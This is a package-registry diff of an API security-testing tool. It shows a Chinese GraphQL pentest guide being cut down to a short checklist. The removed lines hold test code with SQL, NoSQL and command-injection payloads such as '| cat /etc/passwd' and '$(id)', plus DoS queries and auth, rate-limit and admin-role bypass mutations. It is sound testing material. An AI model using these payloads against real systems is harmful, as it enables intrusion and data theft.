opencode-api-security-testing 2.0.0 → 2.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +30 -24
- package/SKILL.md +1797 -0
- package/core/advanced_recon.py +788 -0
- package/core/agentic_analyzer.py +445 -0
- package/core/analyzers/api_parser.py +210 -0
- package/core/analyzers/response_analyzer.py +212 -0
- package/core/analyzers/sensitive_finder.py +184 -0
- package/core/api_fuzzer.py +422 -0
- package/core/api_interceptor.py +525 -0
- package/core/api_parser.py +955 -0
- package/core/browser_tester.py +479 -0
- package/core/cloud_storage_tester.py +1330 -0
- package/core/collectors/__init__.py +23 -0
- package/core/collectors/api_path_finder.py +300 -0
- package/core/collectors/browser_collect.py +645 -0
- package/core/collectors/browser_collector.py +411 -0
- package/core/collectors/http_client.py +111 -0
- package/core/collectors/js_collector.py +490 -0
- package/core/collectors/js_parser.py +780 -0
- package/core/collectors/url_collector.py +319 -0
- package/core/context_manager.py +682 -0
- package/core/deep_api_tester_v35.py +844 -0
- package/core/deep_api_tester_v55.py +366 -0
- package/core/dynamic_api_analyzer.py +532 -0
- package/core/http_client.py +179 -0
- package/core/models.py +296 -0
- package/core/orchestrator.py +890 -0
- package/core/prerequisite.py +227 -0
- package/core/reasoning_engine.py +1042 -0
- package/core/response_classifier.py +606 -0
- package/core/runner.py +938 -0
- package/core/scan_engine.py +599 -0
- package/core/skill_executor.py +435 -0
- package/core/skill_executor_v2.py +670 -0
- package/core/skill_executor_v3.py +704 -0
- package/core/smart_analyzer.py +687 -0
- package/core/strategy_pool.py +707 -0
- package/core/testers/auth_tester.py +264 -0
- package/core/testers/idor_tester.py +200 -0
- package/core/testers/sqli_tester.py +211 -0
- package/core/testing_loop.py +655 -0
- package/core/utils/base_path_dict.py +255 -0
- package/core/utils/payload_lib.py +167 -0
- package/core/utils/ssrf_detector.py +220 -0
- package/core/verifiers/vuln_verifier.py +536 -0
- package/package.json +17 -13
- package/references/asset-discovery.md +119 -612
- package/references/graphql-guidance.md +65 -641
- package/references/intake.md +84 -0
- package/references/report-template.md +131 -38
- package/references/rest-guidance.md +55 -526
- package/references/severity-model.md +52 -264
- package/references/test-matrix.md +65 -263
- package/references/validation.md +53 -400
- package/scripts/postinstall.js +46 -0
- package/src/index.ts +259 -275
- package/agents/cyber-supervisor.md +0 -55
- package/agents/probing-miner.md +0 -42
- package/agents/resource-specialist.md +0 -31
- package/commands/api-security-testing-scan.md +0 -59
- package/commands/api-security-testing-test.md +0 -49
- package/commands/api-security-testing.md +0 -72
- package/tsconfig.json +0 -17
|
@@ -1,684 +1,108 @@
|
|
|
1
|
-
# GraphQL
|
|
1
|
+
# GraphQL Guidance
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
分析 GraphQL API 时使用。
|
|
4
4
|
|
|
5
|
-
|
|
6
|
-
2. [端点发现](#2-端点发现)
|
|
7
|
-
3. [内省查询](#3-内省查询)
|
|
8
|
-
4. [查询构造](#4-查询构造)
|
|
9
|
-
5. [授权测试](#5-授权测试)
|
|
10
|
-
6. [注入测试](#6-注入测试)
|
|
11
|
-
7. [拒绝服务](#7-拒绝服务)
|
|
12
|
-
8. [Bypass 技巧](#8-bypass-技巧)
|
|
5
|
+
## 关注领域
|
|
13
6
|
|
|
14
|
-
|
|
7
|
+
### 字段级授权
|
|
15
8
|
|
|
16
|
-
|
|
9
|
+
- resolver 是否正确检查权限
|
|
10
|
+
- 嵌套查询是否泄露数据
|
|
11
|
+
- 是否缺少 admin-only 字段
|
|
17
12
|
|
|
18
|
-
###
|
|
13
|
+
### 嵌套遍历
|
|
19
14
|
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
| Content-Type | `application/json` |
|
|
24
|
-
| 请求方法 | POST (主要), GET (查询) |
|
|
25
|
-
| 请求体 | `{"query": "...", "variables": {...}}` |
|
|
26
|
-
| 响应 | `{"data": {...}, "errors": [...]}` |
|
|
15
|
+
- `type User { friends: [User!]! }` 可导致递归查询
|
|
16
|
+
- `type Post { author: User }` 允许遍历
|
|
17
|
+
- 是否限制遍历深度
|
|
27
18
|
|
|
28
|
-
###
|
|
19
|
+
### Resolver 边界
|
|
29
20
|
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
/api/graphql
|
|
34
|
-
/api/v1/graphql
|
|
35
|
-
/graphql-api
|
|
36
|
-
/query
|
|
37
|
-
```
|
|
38
|
-
|
|
39
|
-
### 技术识别
|
|
40
|
-
|
|
41
|
-
```python
|
|
42
|
-
# GraphQL 识别方法
|
|
43
|
-
def detect_graphql(url):
|
|
44
|
-
# 1. 检查 GraphQL 特有响应
|
|
45
|
-
resp = requests.post(url, json={"query": "{__typename}"})
|
|
46
|
-
if "data" in resp.json() and "__typename" in resp.text:
|
|
47
|
-
return True
|
|
48
|
-
|
|
49
|
-
# 2. 检查 introspection 端点
|
|
50
|
-
resp = requests.post(url, json={
|
|
51
|
-
"query": "{__schema{queryType{name}}}"
|
|
52
|
-
})
|
|
53
|
-
if "data" in resp.json():
|
|
54
|
-
return True
|
|
55
|
-
|
|
56
|
-
# 3. 检查 GraphQL 特有错误
|
|
57
|
-
if "errors" in resp.json() and any(
|
|
58
|
-
e.get("message", "").startswith("Cannot query")
|
|
59
|
-
for e in resp.json().get("errors", [])
|
|
60
|
-
):
|
|
61
|
-
return True
|
|
62
|
-
|
|
63
|
-
return False
|
|
64
|
-
```
|
|
65
|
-
|
|
66
|
-
---
|
|
67
|
-
|
|
68
|
-
## 2. 端点发现
|
|
69
|
-
|
|
70
|
-
### 2.1 常见路径探测
|
|
71
|
-
|
|
72
|
-
```python
|
|
73
|
-
# GraphQL 端点字典
|
|
74
|
-
GRAPHQL_PATHS = [
|
|
75
|
-
"/graphql",
|
|
76
|
-
"/graphql/console",
|
|
77
|
-
"/api/graphql",
|
|
78
|
-
"/api/v1/graphql",
|
|
79
|
-
"/api/v2/graphql",
|
|
80
|
-
"/graphql-api",
|
|
81
|
-
"/query",
|
|
82
|
-
"/graphql.php",
|
|
83
|
-
"/graphqly",
|
|
84
|
-
"/api/query",
|
|
85
|
-
]
|
|
21
|
+
- 一个 resolver 是否调用另一个 service
|
|
22
|
+
- 是否存在 SSRF 风险
|
|
23
|
+
- 是否有命令注入点
|
|
86
24
|
|
|
87
|
-
|
|
88
|
-
def probe_graphql_endpoint(base_url):
|
|
89
|
-
for path in GRAPHQL_PATHS:
|
|
90
|
-
url = base_url + path
|
|
91
|
-
try:
|
|
92
|
-
resp = requests.post(url, json={"query": "{__typename}"}, timeout=5)
|
|
93
|
-
if resp.status_code == 400 and "data" in resp.text:
|
|
94
|
-
print(f"[+] Found GraphQL: {url}")
|
|
95
|
-
return url
|
|
96
|
-
except:
|
|
97
|
-
pass
|
|
98
|
-
return None
|
|
99
|
-
```
|
|
100
|
-
|
|
101
|
-
### 2.2 从 JS 中发现
|
|
102
|
-
|
|
103
|
-
```python
|
|
104
|
-
# 从 JS 源码中提取 GraphQL 配置
|
|
105
|
-
GRAPHQL_PATTERNS = [
|
|
106
|
-
r'["\']/(?:graphql|api/graphql)["\']',
|
|
107
|
-
r'endpoint\s*:\s*["\']([^"\']+)["\']',
|
|
108
|
-
r'graphql\s*:\s*["\']([^"\']+)["\']',
|
|
109
|
-
r'new\s+GraphQLClient\(["\']([^"\']+)["\']',
|
|
110
|
-
]
|
|
111
|
-
|
|
112
|
-
def extract_from_js(js_content):
|
|
113
|
-
endpoints = []
|
|
114
|
-
for pattern in GRAPHQL_PATTERNS:
|
|
115
|
-
matches = re.findall(pattern, js_content)
|
|
116
|
-
endpoints.extend(matches)
|
|
117
|
-
return list(set(endpoints))
|
|
118
|
-
```
|
|
25
|
+
### Mutation 滥用
|
|
119
26
|
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
### 3.1 完整内省查询
|
|
125
|
-
|
|
126
|
-
```python
|
|
127
|
-
# 获取完整 schema
|
|
128
|
-
INTROSPECTION_QUERY = """
|
|
129
|
-
{
|
|
130
|
-
__schema {
|
|
131
|
-
queryType { name }
|
|
132
|
-
mutationType { name }
|
|
133
|
-
subscriptionType { name }
|
|
134
|
-
types {
|
|
135
|
-
kind
|
|
136
|
-
name
|
|
137
|
-
fields(includeDeprecated: true) {
|
|
138
|
-
name
|
|
139
|
-
args {
|
|
140
|
-
name
|
|
141
|
-
type { name kind ofType { name kind } }
|
|
142
|
-
defaultValue
|
|
143
|
-
}
|
|
144
|
-
type { name kind ofType { name kind } }
|
|
145
|
-
isDeprecated
|
|
146
|
-
deprecationReason
|
|
147
|
-
}
|
|
148
|
-
}
|
|
149
|
-
}
|
|
150
|
-
}
|
|
151
|
-
"""
|
|
27
|
+
- 未经授权的状态变更
|
|
28
|
+
- 条件 mutation(如 admin-only mutation)
|
|
29
|
+
- 批量 mutation 导致的问题
|
|
152
30
|
|
|
153
|
-
|
|
154
|
-
def introspect(url, headers=None):
|
|
155
|
-
resp = requests.post(
|
|
156
|
-
url,
|
|
157
|
-
json={"query": INTROSPECTION_QUERY},
|
|
158
|
-
headers=headers
|
|
159
|
-
)
|
|
160
|
-
return resp.json()
|
|
161
|
-
```
|
|
31
|
+
### Introspection 暴露
|
|
162
32
|
|
|
163
|
-
|
|
33
|
+
- 是否禁用 introspection
|
|
34
|
+
- 是否暴露敏感字段
|
|
35
|
+
- Schema 文档是否包含敏感信息
|
|
164
36
|
|
|
165
|
-
|
|
166
|
-
# 获取所有 Query 字段
|
|
167
|
-
QUERY_FIELDS = """
|
|
168
|
-
{
|
|
169
|
-
__schema {
|
|
170
|
-
queryType {
|
|
171
|
-
fields {
|
|
172
|
-
name
|
|
173
|
-
description
|
|
174
|
-
args { name type { name } }
|
|
175
|
-
type { name }
|
|
176
|
-
}
|
|
177
|
-
}
|
|
178
|
-
}
|
|
179
|
-
}
|
|
180
|
-
"""
|
|
37
|
+
## 常见风险信号
|
|
181
38
|
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
name
|
|
189
|
-
description
|
|
190
|
-
args { name type { name } }
|
|
191
|
-
type { name }
|
|
192
|
-
}
|
|
193
|
-
}
|
|
194
|
-
}
|
|
195
|
-
}
|
|
196
|
-
"""
|
|
39
|
+
- ` IntrospectionQuery` 可访问
|
|
40
|
+
- 缺少 query 复杂度限制
|
|
41
|
+
- 缺少 query 深度限制
|
|
42
|
+
- 缺少字段权限检查
|
|
43
|
+
- mutation 接受任意输入
|
|
44
|
+
- 嵌套查询无限制
|
|
197
45
|
|
|
198
|
-
|
|
199
|
-
TYPE_DETAIL = """
|
|
200
|
-
{
|
|
201
|
-
__type(name: "User") {
|
|
202
|
-
name
|
|
203
|
-
fields {
|
|
204
|
-
name
|
|
205
|
-
type { name }
|
|
206
|
-
}
|
|
207
|
-
}
|
|
208
|
-
}
|
|
209
|
-
"""
|
|
210
|
-
```
|
|
46
|
+
## 测试重点
|
|
211
47
|
|
|
212
|
-
###
|
|
48
|
+
### 1. 枚举攻击
|
|
213
49
|
|
|
214
|
-
```
|
|
215
|
-
#
|
|
216
|
-
|
|
217
|
-
{
|
|
218
|
-
__type(name: "UserRole") {
|
|
219
|
-
enumValues {
|
|
220
|
-
name
|
|
221
|
-
description
|
|
222
|
-
}
|
|
223
|
-
}
|
|
224
|
-
}
|
|
225
|
-
"""
|
|
226
|
-
|
|
227
|
-
# 获取输入类型
|
|
228
|
-
INPUT_TYPES = """
|
|
229
|
-
{
|
|
230
|
-
__schema {
|
|
231
|
-
inputTypes {
|
|
232
|
-
name
|
|
233
|
-
inputFields {
|
|
234
|
-
name
|
|
235
|
-
type { name }
|
|
236
|
-
}
|
|
237
|
-
}
|
|
238
|
-
}
|
|
239
|
-
}
|
|
240
|
-
"""
|
|
241
|
-
```
|
|
242
|
-
|
|
243
|
-
---
|
|
244
|
-
|
|
245
|
-
## 4. 查询构造
|
|
246
|
-
|
|
247
|
-
### 4.1 基本查询
|
|
248
|
-
|
|
249
|
-
```python
|
|
250
|
-
# 简单查询
|
|
251
|
-
QUERY_1 = """
|
|
252
|
-
{
|
|
253
|
-
user(id: "1") {
|
|
254
|
-
id
|
|
255
|
-
username
|
|
256
|
-
email
|
|
257
|
-
}
|
|
258
|
-
}
|
|
259
|
-
"""
|
|
260
|
-
|
|
261
|
-
# 带参数查询
|
|
262
|
-
QUERY_2 = """
|
|
263
|
-
{
|
|
264
|
-
users(filter: {role: "admin"}, limit: 10) {
|
|
50
|
+
```graphql
|
|
51
|
+
# 枚举所有用户
|
|
52
|
+
query {
|
|
53
|
+
users {
|
|
265
54
|
id
|
|
266
55
|
username
|
|
267
|
-
profile {
|
|
268
|
-
name
|
|
269
|
-
avatar
|
|
270
|
-
}
|
|
271
|
-
}
|
|
272
|
-
}
|
|
273
|
-
"""
|
|
274
|
-
|
|
275
|
-
# 嵌套查询
|
|
276
|
-
QUERY_3 = """
|
|
277
|
-
{
|
|
278
|
-
orders(first: 5) {
|
|
279
|
-
edges {
|
|
280
|
-
node {
|
|
281
|
-
id
|
|
282
|
-
total
|
|
283
|
-
user {
|
|
284
|
-
username
|
|
285
|
-
email
|
|
286
|
-
}
|
|
287
|
-
items {
|
|
288
|
-
product { name }
|
|
289
|
-
quantity
|
|
290
|
-
}
|
|
291
|
-
}
|
|
292
|
-
}
|
|
293
|
-
}
|
|
294
|
-
}
|
|
295
|
-
"""
|
|
296
|
-
```
|
|
297
|
-
|
|
298
|
-
### 4.2 Mutation
|
|
299
|
-
|
|
300
|
-
```python
|
|
301
|
-
# 登录 Mutation
|
|
302
|
-
LOGIN_MUTATION = """
|
|
303
|
-
mutation {
|
|
304
|
-
login(username: "admin", password: "admin123") {
|
|
305
|
-
token
|
|
306
|
-
user {
|
|
307
|
-
id
|
|
308
|
-
username
|
|
309
|
-
}
|
|
310
|
-
}
|
|
311
|
-
}
|
|
312
|
-
"""
|
|
313
|
-
|
|
314
|
-
# 创建资源
|
|
315
|
-
CREATE_MUTATION = """
|
|
316
|
-
mutation {
|
|
317
|
-
createPost(input: {
|
|
318
|
-
title: "Test"
|
|
319
|
-
content: "Test content"
|
|
320
|
-
authorId: "1"
|
|
321
|
-
}) {
|
|
322
|
-
id
|
|
323
|
-
title
|
|
324
|
-
}
|
|
325
|
-
}
|
|
326
|
-
"""
|
|
327
|
-
|
|
328
|
-
# 更新资源
|
|
329
|
-
UPDATE_MUTATION = """
|
|
330
|
-
mutation {
|
|
331
|
-
updateUser(id: "1", input: {
|
|
332
|
-
email: "hacked@example.com"
|
|
333
|
-
}) {
|
|
334
|
-
id
|
|
335
56
|
email
|
|
336
57
|
}
|
|
337
58
|
}
|
|
338
|
-
"""
|
|
339
|
-
|
|
340
|
-
# 删除资源
|
|
341
|
-
DELETE_MUTATION = """
|
|
342
|
-
mutation {
|
|
343
|
-
deleteUser(id: "1") {
|
|
344
|
-
success
|
|
345
|
-
}
|
|
346
|
-
}
|
|
347
|
-
"""
|
|
348
|
-
```
|
|
349
|
-
|
|
350
|
-
---
|
|
351
|
-
|
|
352
|
-
## 5. 授权测试
|
|
353
|
-
|
|
354
|
-
### 5.1 未授权访问
|
|
355
|
-
|
|
356
|
-
```python
|
|
357
|
-
# 不带 Token 测试
|
|
358
|
-
def test_unauthorized(url):
|
|
359
|
-
queries = [
|
|
360
|
-
"{ users { id username email } }",
|
|
361
|
-
"{ orders { id total } }",
|
|
362
|
-
"{ admin { panel } }",
|
|
363
|
-
]
|
|
364
|
-
|
|
365
|
-
for query in queries:
|
|
366
|
-
resp = requests.post(url, json={"query": query})
|
|
367
|
-
if "data" in resp.json() and resp.json()["data"] is not None:
|
|
368
|
-
print(f"[!] 未授权访问: {query}")
|
|
369
|
-
```
|
|
370
|
-
|
|
371
|
-
### 5.2 字段级授权
|
|
372
|
-
|
|
373
|
-
```python
|
|
374
|
-
# 测试字段级权限(Admin 字段普通用户可见)
|
|
375
|
-
def test_field_auth(url, user_token):
|
|
376
|
-
# 用户自己的查询
|
|
377
|
-
user_query = """
|
|
378
|
-
{
|
|
379
|
-
user(id: "1") {
|
|
380
|
-
id
|
|
381
|
-
username
|
|
382
|
-
email
|
|
383
|
-
isAdmin # 应该需要 admin 权限
|
|
384
|
-
}
|
|
385
|
-
}
|
|
386
|
-
"""
|
|
387
|
-
|
|
388
|
-
headers = {"Authorization": f"Bearer {user_token}"}
|
|
389
|
-
resp = requests.post(url, json={"query": user_query}, headers=headers)
|
|
390
|
-
|
|
391
|
-
if "isAdmin" in str(resp.json()):
|
|
392
|
-
print("[!] 字段级权限绕过 - 普通用户可见 admin 字段")
|
|
393
|
-
```
|
|
394
|
-
|
|
395
|
-
### 5.3 IDOR 测试
|
|
396
|
-
|
|
397
|
-
```python
|
|
398
|
-
# GraphQL IDOR 测试
|
|
399
|
-
def test_graphql_idor(url, token):
|
|
400
|
-
headers = {"Authorization": f"Bearer {token}"}
|
|
401
|
-
|
|
402
|
-
# 用自己的 token 访问自己的数据(基线)
|
|
403
|
-
baseline = requests.post(url, json={
|
|
404
|
-
"query": "{ user(id: \"1\") { id username } }"
|
|
405
|
-
}, headers=headers)
|
|
406
|
-
|
|
407
|
-
# 尝试访问其他用户的数据
|
|
408
|
-
for victim_id in ["2", "3", "4", "5"]:
|
|
409
|
-
resp = requests.post(url, json={
|
|
410
|
-
"query": f'{{ user(id: "{victim_id}") {{ id username email }} }}'
|
|
411
|
-
}, headers=headers)
|
|
412
|
-
|
|
413
|
-
data = resp.json().get("data")
|
|
414
|
-
if data and data.get("user"):
|
|
415
|
-
print(f"[!] IDOR - 可访问用户 {victim_id} 的数据")
|
|
416
|
-
```
|
|
417
|
-
|
|
418
|
-
---
|
|
419
|
-
|
|
420
|
-
## 6. 注入测试
|
|
421
|
-
|
|
422
|
-
### 6.1 SQL 注入 (在 Query 变量中)
|
|
423
|
-
|
|
424
|
-
```python
|
|
425
|
-
# SQL 注入测试
|
|
426
|
-
SQLI_PAYLOADS = [
|
|
427
|
-
'" OR "1"="1',
|
|
428
|
-
"' OR '1'='1",
|
|
429
|
-
"1; DROP TABLE users--",
|
|
430
|
-
"1' UNION SELECT NULL--",
|
|
431
|
-
]
|
|
432
|
-
|
|
433
|
-
def test_sqli_injection(url, token):
|
|
434
|
-
headers = {"Authorization": f"Bearer {token}"}
|
|
435
|
-
|
|
436
|
-
for payload in SQLI_PAYLOADS:
|
|
437
|
-
resp = requests.post(url, json={
|
|
438
|
-
"query": f'{{ user(id: "{payload}") {{ id username }} }}',
|
|
439
|
-
"variables": {"id": payload}
|
|
440
|
-
}, headers=headers)
|
|
441
|
-
|
|
442
|
-
if "error" not in resp.text and "sql" in resp.text.lower():
|
|
443
|
-
print(f"[!] SQL 注入: {payload}")
|
|
444
59
|
```
|
|
445
60
|
|
|
446
|
-
###
|
|
447
|
-
|
|
448
|
-
```python
|
|
449
|
-
# NoSQL 注入测试 (MongoDB)
|
|
450
|
-
NOSQL_PAYLOADS = [
|
|
451
|
-
'{"$ne": null}',
|
|
452
|
-
'{"$gt": ""}',
|
|
453
|
-
'{"$regex": ".*"}',
|
|
454
|
-
'{"$where": "1==1"}',
|
|
455
|
-
]
|
|
456
|
-
|
|
457
|
-
def test_nosql_injection(url, token):
|
|
458
|
-
headers = {"Authorization": f"Bearer {token}"}
|
|
459
|
-
|
|
460
|
-
for payload in NOSQL_PAYLOADS:
|
|
461
|
-
resp = requests.post(url, json={
|
|
462
|
-
"query": f'{{ users(filter: {{username: {payload}}}) {{ id }} }}'
|
|
463
|
-
}, headers=headers)
|
|
464
|
-
|
|
465
|
-
if resp.status_code == 200:
|
|
466
|
-
print(f"[?] NoSQL 注入候选: {payload}")
|
|
467
|
-
```
|
|
468
|
-
|
|
469
|
-
### 6.3 命令注入
|
|
470
|
-
|
|
471
|
-
```python
|
|
472
|
-
# 如果 GraphQL 支持文件操作或系统命令
|
|
473
|
-
CMD_PAYLOADS = [
|
|
474
|
-
"; ls",
|
|
475
|
-
"| cat /etc/passwd",
|
|
476
|
-
"`whoami`",
|
|
477
|
-
"$(id)",
|
|
478
|
-
]
|
|
61
|
+
### 2. 嵌套遍历
|
|
479
62
|
|
|
480
|
-
|
|
481
|
-
|
|
482
|
-
|
|
483
|
-
|
|
484
|
-
# filePath, command, shell 等
|
|
485
|
-
fields = ["filePath", "command", "shell", "script"]
|
|
486
|
-
|
|
487
|
-
for field in fields:
|
|
488
|
-
query = f"""
|
|
489
|
-
{{
|
|
490
|
-
system(input: {{ {field}: "; ls" }}) {{
|
|
491
|
-
output
|
|
492
|
-
}}
|
|
493
|
-
}}
|
|
494
|
-
"""
|
|
495
|
-
resp = requests.post(url, json={"query": query}, headers=headers)
|
|
496
|
-
|
|
497
|
-
if resp.status_code == 200 and "root:" in resp.text:
|
|
498
|
-
print(f"[!] 命令注入在字段: {field}")
|
|
499
|
-
```
|
|
500
|
-
|
|
501
|
-
---
|
|
502
|
-
|
|
503
|
-
## 7. 拒绝服务
|
|
504
|
-
|
|
505
|
-
### 7.1 深度嵌套查询
|
|
506
|
-
|
|
507
|
-
```python
|
|
508
|
-
# 深度嵌套导致 DoS
|
|
509
|
-
NESTED_QUERY = """
|
|
510
|
-
{
|
|
511
|
-
user(id: "1") {
|
|
63
|
+
```graphql
|
|
64
|
+
# 递归遍历 friendships
|
|
65
|
+
query {
|
|
66
|
+
user(id: 1) {
|
|
512
67
|
friends {
|
|
513
68
|
friends {
|
|
514
69
|
friends {
|
|
515
|
-
|
|
516
|
-
id
|
|
517
|
-
username
|
|
518
|
-
}
|
|
70
|
+
id
|
|
519
71
|
}
|
|
520
72
|
}
|
|
521
73
|
}
|
|
522
74
|
}
|
|
523
75
|
}
|
|
524
|
-
"""
|
|
525
|
-
|
|
526
|
-
# 批量查询导致 DoS
|
|
527
|
-
BATCH_QUERY = """
|
|
528
|
-
{
|
|
529
|
-
u1: user(id: "1") { id }
|
|
530
|
-
u2: user(id: "2") { id }
|
|
531
|
-
# ... 重复 100 次
|
|
532
|
-
u100: user(id: "100") { id }
|
|
533
|
-
}
|
|
534
|
-
"""
|
|
535
|
-
|
|
536
|
-
def test_dos(url):
|
|
537
|
-
# 测试嵌套深度
|
|
538
|
-
for depth in [5, 10, 15, 20]:
|
|
539
|
-
query = build_nested_query(depth)
|
|
540
|
-
start = time.time()
|
|
541
|
-
resp = requests.post(url, json={"query": query}, timeout=10)
|
|
542
|
-
duration = time.time() - start
|
|
543
|
-
|
|
544
|
-
if duration > 5:
|
|
545
|
-
print(f"[!] DoS - 深度 {depth} 耗时 {duration}s")
|
|
546
|
-
```
|
|
547
|
-
|
|
548
|
-
### 7.2 资源密集型字段
|
|
549
|
-
|
|
550
|
-
```python
|
|
551
|
-
# 搜索/计算密集型字段
|
|
552
|
-
EXPENSIVE_FIELDS = [
|
|
553
|
-
"search(query: *)",
|
|
554
|
-
"compute(primes: 1000000)",
|
|
555
|
-
"generateReport(year: 9999)",
|
|
556
|
-
"exportAllData()",
|
|
557
|
-
]
|
|
558
|
-
|
|
559
|
-
def test_expensive_operations(url):
|
|
560
|
-
for field in EXPENSIVE_FIELDS:
|
|
561
|
-
query = f"{{ {field} }}"
|
|
562
|
-
start = time.time()
|
|
563
|
-
try:
|
|
564
|
-
resp = requests.post(url, json={"query": query}, timeout=5)
|
|
565
|
-
duration = time.time() - start
|
|
566
|
-
if duration > 3:
|
|
567
|
-
print(f"[!] 耗时操作: {field} ({duration}s)")
|
|
568
|
-
except:
|
|
569
|
-
pass
|
|
570
76
|
```
|
|
571
77
|
|
|
572
|
-
|
|
573
|
-
|
|
574
|
-
## 8. Bypass 技巧
|
|
575
|
-
|
|
576
|
-
### 8.1 绕过字段限制
|
|
577
|
-
|
|
578
|
-
```python
|
|
579
|
-
# 如果某字段被过滤,尝试别名
|
|
580
|
-
ALIAS_BYPASS = """
|
|
581
|
-
{
|
|
582
|
-
user: users(limit: 1) { id }
|
|
583
|
-
_user: users(limit: 1) { id username }
|
|
584
|
-
}
|
|
585
|
-
"""
|
|
586
|
-
|
|
587
|
-
# 绕过类型检查
|
|
588
|
-
TYPE_BYPASS = """
|
|
589
|
-
{
|
|
590
|
-
# 如果 Int 期望 5,尝试 String "5"
|
|
591
|
-
user(id: "5") { id }
|
|
592
|
-
}
|
|
593
|
-
"""
|
|
78
|
+
### 3. 权限绕过
|
|
594
79
|
|
|
595
|
-
|
|
596
|
-
|
|
597
|
-
{
|
|
598
|
-
|
|
599
|
-
|
|
600
|
-
|
|
601
|
-
|
|
80
|
+
```graphql
|
|
81
|
+
# 尝试 admin 字段
|
|
82
|
+
query {
|
|
83
|
+
user(id: 1) {
|
|
84
|
+
isAdmin
|
|
85
|
+
role
|
|
86
|
+
}
|
|
602
87
|
}
|
|
603
|
-
"""
|
|
604
|
-
```
|
|
605
|
-
|
|
606
|
-
### 8.2 绕过认证
|
|
607
|
-
|
|
608
|
-
```python
|
|
609
|
-
# 如果登录被限制,尝试
|
|
610
|
-
AUTH_BYPASS = [
|
|
611
|
-
# 1. 直接访问需要认证的查询
|
|
612
|
-
"{ admin { users { id } } }",
|
|
613
|
-
|
|
614
|
-
# 2. 利用注册接口创建 admin
|
|
615
|
-
MUTATION_CREATE_ADMIN = """
|
|
616
|
-
mutation {
|
|
617
|
-
register(input: {
|
|
618
|
-
username: "admin2"
|
|
619
|
-
password: "Admin123!"
|
|
620
|
-
role: "admin" # 尝试设置 admin 角色
|
|
621
|
-
}) { token }
|
|
622
|
-
}
|
|
623
|
-
""",
|
|
624
|
-
|
|
625
|
-
# 3. 利用忘记密码重置 admin
|
|
626
|
-
]
|
|
627
88
|
```
|
|
628
89
|
|
|
629
|
-
###
|
|
630
|
-
|
|
631
|
-
```python
|
|
632
|
-
# 如果有速率限制,尝试
|
|
633
|
-
RATE_LIMIT_BYPASS = [
|
|
634
|
-
# 1. 使用不同字段名
|
|
635
|
-
{"query": "{ u: user(id: \"1\") { id } }"},
|
|
636
|
-
{"query": "{ user1: user(id: \"1\") { id } }"},
|
|
637
|
-
|
|
638
|
-
# 2. 注释绕过
|
|
639
|
-
{"query": "{ user(id: \"1\") { id } } # "},
|
|
640
|
-
{"query": "{ user /* */ (id: \"1\") { id } }"},
|
|
641
|
-
|
|
642
|
-
# 3. 变量混淆
|
|
643
|
-
{"query": "query($id: ID!) { user(id: $id) { id } }",
|
|
644
|
-
"variables": {"id": "1"}},
|
|
645
|
-
]
|
|
646
|
-
```
|
|
647
|
-
|
|
648
|
-
---
|
|
649
|
-
|
|
650
|
-
## 附录:GraphQL 测试检查清单
|
|
90
|
+
### 4. mutation 滥用
|
|
651
91
|
|
|
92
|
+
```graphql
|
|
93
|
+
# 未经授权的 mutation
|
|
94
|
+
mutation {
|
|
95
|
+
updateUser(id: 1, role: "admin") {
|
|
96
|
+
id
|
|
97
|
+
role
|
|
98
|
+
}
|
|
99
|
+
}
|
|
652
100
|
```
|
|
653
|
-
□ 发现阶段
|
|
654
|
-
□ 识别 GraphQL 端点
|
|
655
|
-
□ 从 JS 中发现 GraphQL 配置
|
|
656
|
-
□ 获取完整 Schema (introspection)
|
|
657
101
|
|
|
658
|
-
|
|
659
|
-
□ 列出所有类型和字段
|
|
660
|
-
□ 获取枚举值
|
|
661
|
-
□ 理解数据模型关系
|
|
102
|
+
## 防护检查
|
|
662
103
|
|
|
663
|
-
|
|
664
|
-
|
|
665
|
-
|
|
666
|
-
|
|
667
|
-
|
|
668
|
-
|
|
669
|
-
□ 注入测试
|
|
670
|
-
□ SQL 注入
|
|
671
|
-
□ NoSQL 注入
|
|
672
|
-
□ 命令注入
|
|
673
|
-
□ XSS
|
|
674
|
-
|
|
675
|
-
□ DoS 测试
|
|
676
|
-
□ 深度嵌套查询
|
|
677
|
-
□ 批量查询
|
|
678
|
-
□ 资源密集型操作
|
|
679
|
-
|
|
680
|
-
□ 安全配置
|
|
681
|
-
□ 限流测试
|
|
682
|
-
□ CORS 配置
|
|
683
|
-
□ 调试模式
|
|
684
|
-
```
|
|
104
|
+
- [ ] 是否限制查询复杂度
|
|
105
|
+
- [ ] 是否限制查询深度
|
|
106
|
+
- [ ] 是否禁用 introspection
|
|
107
|
+
- [ ] resolver 是否有权限检查
|
|
108
|
+
- [ ] 是否过滤敏感字段
|